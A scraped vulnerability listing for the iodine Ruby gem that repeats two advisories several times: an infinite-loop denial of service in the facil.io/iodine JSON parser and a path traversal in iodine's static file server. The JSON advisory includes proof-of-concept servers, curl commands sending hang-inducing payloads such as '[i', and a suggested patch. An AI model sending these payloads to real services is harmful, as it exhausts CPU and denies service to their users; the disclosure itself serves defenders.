CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Jan 18, 2019

0.7.17 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Jan 17, 2019

0.7.16 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

